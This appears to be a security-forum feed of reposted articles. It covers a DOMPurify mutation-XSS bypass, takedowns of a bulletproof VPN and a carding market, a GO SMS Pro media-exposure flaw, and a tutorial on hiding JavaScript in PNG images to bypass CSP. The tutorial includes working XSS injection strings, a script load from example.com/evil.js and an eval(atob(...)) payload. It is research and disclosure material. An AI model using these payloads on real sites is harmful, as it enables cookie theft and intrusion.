the final DOM tree while existing in the HTML namespace in the tree sanitized by DOMPurify. At the time of this writing, it is still possible to use the update parser feature of the LiveDOM++ tool to reproduce the original bypass using a vulnerable version of DOMPurify. Figure 6: update parser feature Figure 7: original mXSS bypass The details of why and how this works can be referenced in Michał’s original article. Understanding the original bypass is important because it provides the foundation for the variation described in this article. Building the final payload Now that I described the building blocks of a potential bypass I will describe the methodology I used to build my bypass. I began by pondering the following: The picture below illustrates the basic structure of the bypass. Using a nested form ownership mutation gadget it is possible to change the mglyph tag parent to mtext; that places the descendants of the mglyph tag to be in the MathML namespace in the final DOM tree. Nothing new so far. The difference is that instead of using it to go from HTML to MathML, we are using it to go from SVG to MathML. HTML→MathML→HTML→SVG to HTML→MathML to be precise. Figure 8: from SVG to MathML At this point, I knew I was on to something but it took me a while to build a working payload. The whole point was figuring out a chain of tags that were safe in the SVG namespace and that contained an XSS payload when transferred to the MathML namespace. This is what I came up with: <mtext> <style> <path id="</style><img onerror=alert(1') src>"> Snippet 2: bypass fragment svggadget.html In the SVG namespace, mtext will be handled as an unknown tag. The style tag descendants will be rendered as opposed to its homograph in the HTML namespace, and the id attribute of the SVG path tag is nothing more than a safe, free-form text identifier. What happens when this snippet is parsed in the MathML namespace though? Here is the result: Figure 9: bypass fragment in the MathML namespace First of all, mtext is handled as a MathML text integration point. This means its descendants will be in the HTML namespace, according to MathML’s current specification. Once in the HTML namespace, style behaves differently and treats everything until its closing tag as raw text. Finally, the malicious img tag is parsed followed by a harmless piece of raw text that reads “>. The following snapshot depicts the DOM tree state before being sanitized by DOMPurify. Figure 10: final payload DOM tree before sanitization This next snapshot shows the DOM tree produced by parsing DOMPurify’s output. Figure 11: final payload DOM tree after sanitization Disclosure timeline I notified cure53 on 11/02/2020 around 13:30 (GMT-6). A fix was made available and tested at 13:41 (GMT-6). The fix was officially published in version 2.2.2 sometime later on the very same day. Acknowledgments I want to thank Michał Bentkowski and Gareth Heyes for their incredible work and constant contributions to the security community. Dr.-Ing. Mario Heiderich (@Cure53) for acting so fast and for being a gentleman despite having to stay up late to work on the fix. Lastly, @LiveOverFlow for reminding me in one of his videos that we need to move away from the basics as soon as we master them and constantly challenge ourselves. Source: https://vovohelo.medium.com/from-svg-and-back-yet-another-mutation-xss-via-namespace-confusion-for-dompurify-2-2-2-bypass-5d9ae8b1878f

Law enforcement agencies from the US, Germany, Netherlands, Switzerland, France, along with Europol's European Cybercrime Centre (EC3), announced today the coordinated takedown of Safe-Inet, a popular virtual private network (VPN) service that was used to facilitate criminal activity. The three domains in question — insorg[.]org, safe-inet[.]com, and safe-inet[.]net — were shut down, and their infrastructure seized as part of a joint investigation called "Operation Nova." Europol called Safe-Inet a cybercriminals' "favorite." A crucial reason for the domains' seizure has been their central role in facilitating ransomware, carrying out web-skimming, spear-phishing, and account takeover attacks. The service, which comes with support for Russian and English languages and has been active for over a decade, offered "bulletproof hosting services" to website visitors, often at a steep price to the criminal underworld. As of December 1, the cost of a Pro subscription ranged anywhere between $1.3/day to $190/year for full access to its entire roster of servers. Bulletproof hosting (BPH), also known as abuse-resistant services, is different from regular web hosting in that it allows a content provider more leniency in the kind of data that can be hosted on those servers, thus making it easier to evade law enforcement. According to an analysis by cybersecurity firm Trend Micro in October, a bulletproof host employs various ways to sustain crimes operating under its wing and can strategically allocate resources globally, keeping in mind the regional legalities and geographical characteristics. They are known to minimize the number of useful log files and access the system only from anonymous sources like Tor networks. "A bulletproof hoster's activities may include ignoring or fabricating excuses in response to abuse complaints made by their customer's victims; moving their customer accounts and/or data from one IP address, server, or country to another to help them evade detection; and not maintaining logs (so that none are available for review by law enforcement)," the US Department of Justice (DoJ) said in a statement. In doing so, the BPH services intentionally support the criminal activities of their customers and become co-conspirators in the criminal schemes, the DoJ added. Europol also said it identified about 250 companies worldwide that were being spied on by the criminals to launch potential ransomware attacks using the Safe-Inet infrastructure. "Criminals can run but they cannot hide from law enforcement, and we will continue working tirelessly together with our partners to outsmart them," Head of EC3, Edvardas Šileris, said. Source: https://thehackernews.com/2020/12/cybercriminals-favorite-bulletproof-vpn.html

The US Federal Bureau of Investigation (FBI) and Interpol have allegedly seized proxy servers used in connection with Blockchain-based domains belonging to Joker's Stash, a notorious fraud bazaar known for selling compromised payment card data in underground forums. The takedown happened last week on December 17. The operators of Joker's Stash operate several versions of the platform, including Blockchain proxy server domains — .bazar, .lib, .emc, and .coin — that are responsible for redirecting users to the actual website and two other Tor (.onion) variants. Joker's Stash implemented the use of Blockchain DNS via a Chrome browser extension in 2017. These Blockchain websites make use of a decentralized DNS where the top-level domains (e.g., .bazar) are not owned by a single central authority, with the lookup records shared over a peer-to-peer network as opposed to a DNS provider, thus bringing in significant advantages like bulletproof hosting. This also means the move is not expected to have a lasting impact, as the top-level domain itself cannot be seized, but rather only the IP address of the server it points to. According to cybersecurity firm Digital Shadows, which disclosed the development, the Tor versions of the site are still accessible, meaning this action is unlikely to pose a major threat to their operations. The actors behind Joker's Stash took to Russian-language carding forum Club2CRD stating that no card dumps were stored on the servers and transition plans were already underway to move the content hosted on the busted site to a new blockchain version of the portal. "I am setuping (sic) and moving to the new servers right now, blockchain links will [be] back to back to work in a few days," the site's representative said in a forum post, adding "use Tor links, bros!" Interestingly, it is not immediately clear if the law enforcement agencies are indeed behind the coordinated takedown. Although last week, the affected .bazar version of the site began displaying a note that the US Department of Justice and Interpol had seized the site, Digital Shadows said the four blockchain sites are now showing a "Server Not Found" banner. Joker's Stash is particularly infamous for advertising the breach of US-based convenience store chain Wawa last December, with the hackers putting up for sale the payment card details of more than 30 million Americans and over one million foreigners. "The seizure of the .bazar domain likely will not do much to disrupt Joker's Stash, especially since the team behind Joker's Stash maintain several versions of the site and the site's Tor-based links are still working normally," Digital Shadows said. "Furthermore, Joker's Stash maintains a presence on several cybercrime forums, and its owners use those forums to remind prospective customers that millions of credit and debit card accounts are for sale." Source: https://thehackernews.com/2020/12/law-enforcement-seizes-jokers-stash.html

GO SMS Pro, a popular messaging app for Android with over 100 million installs, has been found to have an unpatched security flaw that publicly exposes media transferred between users, including private voice messages, photos, and videos. "This means any sensitive media shared between users of this messenger app is at risk of being compromised by an unauthenticated attacker or curious user," Trustwave Senior Security Consultant Richard Tan said in a report shared with The Hacker News. According to Trustwave SpiderLabs, the shortcoming was spotted in version 7.91 of the app, which was released on the Google Play Store on February 18, 2020. The cybersecurity firm said it attempted to contact the app makers multiple times since August 18, 2020, without receiving a response. But checking the app's changelog, GO SMS Pro received an update (v7.92) on September 29, followed by another subsequent update, which was published yesterday. The latest updates to the app, however, still doesn't address the weakness mentioned above. The vulnerability stems from the manner media content is displayed when recipients don't have the GO SMS Pro app installed on their devices, leading to potential exposure. "If the recipient has the GO SMS Pro app on their device, the media would be displayed automatically within the app," Tan said. "However, if the recipient does not have the GO SMS Pro app installed, the media file is sent to the recipient as a URL via SMS. The user could then click on the link and view the media file via a browser." Not only is this link (e.g. "https://gs.3g.cn/D/dd1efd/w") accessible to anyone without prior authentication, the URL is generated irrespective of whether the recipient has the app installed, thereby allowing a malicious actor to access any media files sent via the app. Specifically, by incrementing the sequential hexadecimal values in the URL (e.g., "https://gs.3g.cn/D/e3a6b4/w"), the flaw makes it possible to view or listen to other media messages shared between other users. An attacker can leverage this technique to generate a list of URLs and steal user data without their knowledge. It's likely that the flaw impacts the iOS version of GO SMS Pro as well, but until there's a fix in place, it is highly recommended to avoid sending media files using the affected messenger app. We have reached out to the developers of GO SMS Pro, and we will update the story if we hear back. Source: https://thehackernews.com/2020/11/warning-unpatched-bug-in-go-sms-pro-app.html

@Nytro 👋 - Nu stiu sa iti spun asta.

Hide a malicious JavaScript library into a PNG image and tweet it, then include it in a vulnerable website by exploiting a XSS bypassing its Content-Security-Policy (CSP). It's not Sci-Fi... it's HTML Canvas. TL;DR - Using HTML Canvas you can hide any JavaScript code (or an entire library) into a PNG image by converting each source code character into a pixel. The image can then be uploaded onto a trusted website like Twitter or Google (usually whitelisted by CSP) and then loaded as a remote image in a HTML document. Finally, by using the canvas getImageData method, it's possible to extract the "hidden JavaScript" from the image and execute it. Sometimes this could lead to a Content-Security-Policy bypass making an attacker able to include an entire and external JavaScript library. The Content-Security-Policy response header is being increasingly used due to its efficiency in preventing XSS, clickjacking and other code injection attacks. Yet many websites configure laxy policies to save themselves from false positives and whitelist whole domains instead of specific resources or by using unsafe-inline or unsafe-eval directives, which can lead to a policy bypass. Reading an interesting article by Mike Parsons in which he shows how to use HTML Canvas to "store" JavaScript code into a PNG image, it occured to me that it could be the perfect CSP bypass technique to include an evil JavaScript external library exploiting a XSS vulnerability. It's all about using CanvasRenderingContext2D methods putImageData and getImageData and using String.charCodeAt to represent each character of the hidden text string. The CanvasRenderingContext2D.putImageData() method of the Canvas 2D API paints data from the given ImageData object onto the canvas. If a dirty rectangle is provided, only the pixels from that rectangle are painted. This method is not affected by the canvas transformation matrix. The CanvasRenderingContext2D method getImageData() of the Canvas 2D API returns an ImageData object representing the underlying pixel data for a specified portion of the canvas. This method is not affected by the canvas's transformation matrix. If the specified rectangle extends outside the bounds of the canvas, the pixels outside the canvas are transparent black in the returned ImageData object. Hiding Text In A PNG Image Using Canvas Following an example that you can copy and paste in your browser's JavaScript console to create a PNG image starting from a given string, for example: "Hello, World!". Open a new tab and go to about:blank then open your JavaScript console and paste the following code: (function() { function encode(a) { if (a.length) { var c = a.length, e = Math.ceil(Math.sqrt(c / 3)), f = e, g = document.createElement("canvas"), h = g.getContext("2d"); g.width = e, g.height = f; var j = h.getImageData(0, 0, e, f), k = j.data, l = 0; for (var m = 0; m < f; m++) for (var n = 0; n < e; n++) { var o = 4 * (m * e) + 4 * n, p = a[l++], q = a[l++], r = a[l++]; (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255) } return h.putImageData(j, 0, 0), h.canvas.toDataURL() } } var ord = function ord(a) { var c = a + "", e = c.charCodeAt(0); if (55296 <= e && 56319 >= e) { if (1 === c.length) return e; var f = c.charCodeAt(1); return 1024 * (e - 55296) + (f - 56320) + 65536 } return 56320 <= e && 57343 >= e ? e : e }, d = document, b = d.body, img = new Image; var stringenc = "Hello, World!"; img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img) })(); The code above creates an image using the putImageData method representing each group of 3 characters of the "Hello, World!" string as levels of RGB (Red, Green and Blue) for each pixel. After running it in your browser's console, you'll see a little image on the top left: generated image (zoom x10) As I said before, each pixel of the image above represents 3 characters of the "hidden string". Using the charCodeAt function I can convert each character to an integer between 0 and 65535 representing its UTF-16 code unit. In a single pixel, the first converted character is for the Red channel, the second one for the Green channel and the last one for the Blue channel. The fourth value is the alpha level that in our example is always 255. For example, : r = "H".charCodeAt(0) g = "e".charCodeAt(0) b = "l".charCodeAt(0) a = 255 j.data = [r,g,b,a,...] In the following schema, I try to explain better how characters of a string are distributed into the ImageData array: Now we have a PNG image that represents the "Hello, World!" string. You can copy and paste the following code in your JavaScript console to convert the generated PNG image to the original text string: t = document.getElementsByTagName("img")[0]; var s = String.fromCharCode, c = document.createElement("canvas"); var cs = c.style, cx = c.getContext("2d"), w = t.offsetWidth, h = t.offsetHeight; c.width = w; c.height = h; cs.width = w + "px"; cs.height = h + "px"; cx.drawImage(t, 0, 0); var x = cx.getImageData(0, 0, w, h).data; var a = "", l = x.length, p = -1; for (var i = 0; i < l; i += 4) { if (x[i + 0]) a += s(x[i + 0]); if (x[i + 1]) a += s(x[i + 1]); if (x[i + 2]) a += s(x[i + 2]); } console.log(a); document.getElementsByTagName("body")[0].innerHTML=a; As you can see above, the JavaScript code select the just created image element and, using the getImageData, converts it to the origin text string. When using getImageData, what happens is that you get an ImageData object with a data attribute that contains a big array. As shown before, for each pixel there're four entries in the ImageData array: r, g, b, and alpha. So, the array looks something like [pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]. A vulnerable website Now we know how to "store" text string into an image and how to convert that image back to his origin string. Assume now to hide a JavaScript code instead a simple text string, and upload the generated PNG image on Twitter. A Content-Security-Policy that whitelist images from Twitter could be bypassed and a XSS could be exploited to load JavaScript contents from a "trusted" origin. I've created an intentionally vulnerable web application that I'll use to test this technique. The webapp uses a Content-Security-Policy that prevents loading external JavaScript resources: XSS vulnerable webapp As you can see, the application uses a Content-Security-Policy that allow images from "self" and from Twitter, and allow JavaScript from "self", "inline" and "eval". Unfortunately, there're many websites that configure script-src directive allowing unsafe-inline and unsafe-eval to avoid false positives. Moreover, many websites whitelist whole domains instead of specific resources. If you think this configuration is rare and nobody uses "unsafe-inline" and "unsafe-eval" on script-src directive, you're wrong. By a recent crawling of the Alexa Top 1m it seems that more than 5000 websites are using Content-Security-Policy with "unsafe-inline" and "unsafe-eval" on script-src or default-src directive: The vulnerability is on the lang querystring argument that doesn't sanitize the user's input leading to an HTML injection and to a Reflected XSS. To exploit the XSS vulnerability on this test web application, I need to inject HTML syntax to close the src attribute and add a SCRIPT tag, then inject JavaScript code with something like ?lang="><script>alert(1)</script>. exploiting Reflected XSS Now I need to bypass the CSP and import an external JavaScript library with something like ?lang="><script+src="//example.com/evil.js"></script> that is blocked by CSP: blocked external javascript by CSP The screenshot above shows how CSP blocks an external JavaScript file at example.com/evil.js because it violates the script-src directive. Upload the PNG/JS on Twitter After doing some test, I figure out that Twitter shows an error when the uploaded image is too little. So I used a long JavaScript code (including random comments) to create a larger image: (function() { function encode(a) { if (a.length) { var c = a.length, e = Math.ceil(Math.sqrt(c / 3)), f = e, g = document.createElement("canvas"), h = g.getContext("2d"); g.width = e, g.height = f; var j = h.getImageData(0, 0, e, f), k = j.data, l = 0; for (var m = 0; m < f; m++) for (var n = 0; n < e; n++) { var o = 4 * (m * e) + 4 * n, p = a[l++], q = a[l++], r = a[l++]; (p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255) } return h.putImageData(j, 0, 0), h.canvas.toDataURL() } } var ord = function ord(a) { var c = a + "", e = c.charCodeAt(0); if (55296 <= e && 56319 >= e) { if (1 === c.length) return e; var f = c.charCodeAt(1); return 1024 * (e - 55296) + (f - 56320) + 65536 } return 56320 <= e && 57343 >= e ? e : e }, d = document, b = d.body, img = new Image; var stringenc = "function asd() {\ var d = document;\ var c = 'cookie';\ alert(d[c]);\ };asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\ Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\ Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\ Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/"; img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img) })(); generated PNG image then I've uploaded it on Twitter 😎 Image/JavaScript uploaded on Twitter By loading the image from Twitter into an IMG tag, I can convert it to the origin hidden JavaScript code. As you can see in the screenshot below, the image contains a JavaScript function that executes alert of document.cookie value: Now let's try to eval this JavaScript code in my vulnerable web application. Exploiting: Bypass the CSP As I said before, to exploit the test web application, I need to inject HTML syntax into the IMG tag to close the src attribute with something like ?lang="><script>alert(1)</script>. To include the remote image from Twitter, I can just send this request: /xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22 The red part is the Twitter URL of our malicious PNG image. The blue part is an id attribute injected to be much easier to select the IMG tag. The green part is an A tag used just to prevent breaking the HTML syntax. Now I need to inject few JavaScript lines to convert the image into an external JavaScript library and bypass the CSP: t = document.getElementById("jsimg"); var s = String.fromCharCode, c = document.createElement("canvas"); var cs = c.style, cx = c.getContext("2d"), w = t.offsetWidth, h = t.offsetHeight; c.width = w; c.height = h; cs.width = w + "px"; cs.height = h + "px"; cx.drawImage(t, 0, 0); var x = cx.getImageData(0, 0, w, h).data; var a = "", l = x.length, p = -1; for (var i = 0; i < l; i += 4) { if (x[i + 0]) a += s(x[i + 0]); if (x[i + 1]) a += s(x[i + 1]); if (x[i + 2]) a += s(x[i + 2]); } eval(a) I've encoded it to base64 and now I use it inside an eval(atob("base64-encoded-js")) that I'll put inside an injected onload attribute: onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))' And it becomes (in orange): 